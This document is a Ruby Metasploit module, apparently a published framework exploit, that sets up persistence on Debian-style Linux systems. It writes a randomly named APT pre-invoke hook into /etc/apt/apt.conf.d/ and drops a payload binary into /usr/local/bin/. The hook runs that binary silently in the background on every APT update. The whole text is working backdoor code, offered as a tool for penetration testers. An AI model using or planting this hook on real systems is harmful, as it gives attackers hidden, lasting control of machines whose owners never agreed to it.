This Metasploit module creates a pre-invoke hook for APT in apt.conf.d. The hook name syntax is numeric followed by text.
b179cf4af20d7965b946a31e7afd1470##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Linux::System
def initialize(info = {})
super(update_info(info,
'Name' => 'APT Package Manager Persistence',
'Description' => %q(
This module will run a payload when the package manager is used. No
handler is ran automatically so you must configure an appropriate
exploit/multi/handler to connect. This module creates a pre-invoke hook
for APT in apt.conf.d. The hook name syntax is numeric followed by text.
),
'License' => MSF_LICENSE,
'Author' => ['Aaron Ringo'],
'Platform' => ['linux', 'unix'],
'Arch' =>
[
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' },
'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian
'References' => ['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'],
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('HOOKNAME', [false, 'Name of hook file to write']),
OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write'])
])
register_advanced_options(
[
OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/'])
])
end
def exploit
hook_path = '/etc/apt/apt.conf.d/'
unless writable? hook_path
fail_with Failure::BadConfig, "#{hook_path} not writable, or APT is not on system"
end
hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")
backdoor_path = datastore['WritableDir']
unless writable? backdoor_path
fail_with Failure::BadConfig, "#{backdoor_path} is not writable"
end
backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
backdoor_path << backdoor_name
print_status('Attempting to write hook:')
hook_script = "APT::Update::Pre-Invoke {\"setsid #{backdoor_path} 2>/dev/null &\"};"
write_file(hook_path, hook_script)
unless exist? hook_path
fail_with Failure::Unknown, 'Failed to write Hook'
end
print_status("Wrote #{hook_path}")
if payload.arch.first == 'cmd'
write_file(backdoor_path, payload.encoded)
else
write_file(backdoor_path, generate_payload_exe)
end
unless exist? backdoor_path
fail_with Failure::Unknown, "Failed to write #{backdoor_path}"
end
print_status("Backdoor uploaded #{backdoor_path}")
print_status('Backdoor will run on next APT update')
# permissions chosen to reflect common perms in /usr/local/bin/
chmod(backdoor_path, 0755)
end
end